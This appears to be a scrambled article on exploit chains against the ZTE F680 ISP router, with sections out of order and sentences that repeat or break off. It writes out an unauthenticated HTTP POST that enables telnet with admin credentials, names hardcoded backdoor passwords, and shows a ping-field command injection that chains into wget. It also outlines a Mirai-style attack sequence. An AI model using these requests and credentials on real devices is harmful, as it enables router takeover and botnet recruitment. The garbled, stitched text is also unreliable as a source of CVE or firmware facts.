POST /cgi-bin/telnet.cgi HTTP/1.1 Host: 192.168.1.1 Cookie: language=english; enabled=1 Content-Length: 50 enable telnet=1&username=admin&password=admin
However, like many ISP-provided hardware devices, the ZTE F680 has become a frequent target for security researchers and malicious actors alike. The term refers to a collection of vulnerabilities that allow an attacker to bypass authentication, gain root access, and potentially use the router as a pivot point for larger network attacks.
This results in Remote Code Execution (RCE) with root privileges, as the web server runs with high system privileges. While not a "software bug" per se, many ISPs never change the manufacturer default passwords. However, the ZTE F680 has a known hidden backdoor: the user account with password Zte521 (or variations like root / Zte521@hn ). These accounts bypass the standard login lockout policies, making brute-forcing trivial. zte f680 exploit
Because the router fails to check if the user has an active login session, the CGI script executes the command, enabling the Telnet daemon with hardcoded or default credentials. The Flaw: The diagnostic "Ping" tool on the router’s administration panel ( Advanced -> Diagnostics -> Ping ) takes a user-supplied IP address or hostname. Input sanitization is absent. Characters like ; , | , & , or $() are passed directly to the underlying Linux system() call.
An attacker on the same Local Area Network (LAN) – or worse, a malicious JavaScript on a website the user visits (CSRF) – could send a crafted HTTP request like this: POST /cgi-bin/telnet
Security researcher Pierre Kim documented in 2021 that the ZTE F680’s firmware contains hardcoded RSA private keys for SSH, allowing anyone with the key to decrypt LAN traffic or impersonate the device. Let’s walk through a realistic exploit chain used by botnets (like Mirai variants) and red-teamers against the ZTE F680. Phase 1: Discovery & Fingerprinting The attacker scans for devices responding on port 80 or 443 with a specific HTTP title: ZTE F680 GPON ONT . The default login page often leaks the firmware version in the HTML source code. Phase 2: Authentication Bypass Using a simple Python script, the attacker sends a POST request to /cgi-bin/telnet.cgi with no session cookie. If the device is vulnerable, the response 200 OK appears, and Telnet is enabled on port 23.
This article explores the known exploit chains affecting the ZTE F680, how they work, the real-world impact on users, and the steps you can take to protect your network. Several Common Vulnerabilities and Exposures (CVEs) have been assigned to the ZTE F680 firmware. The most critical ones revolve around authentication bypass and command injection. 1. The Infamous Authentication Bypass (CVE-2022-26498 / CVE-2022-26499) The Flaw: In firmware versions prior to ZXHN F680 V9.0.10P1N20 , the router’s web interface incorrectly validates session tokens. Researchers discovered that by manipulating the Cookie header or the Authorization field in a POST request, they could access privileged endpoints (like /cgi-bin/telnet.cgi ) without providing a password. While not a "software bug" per se, many
The backend executes: ping -c 4 8.8.8.8; wget ...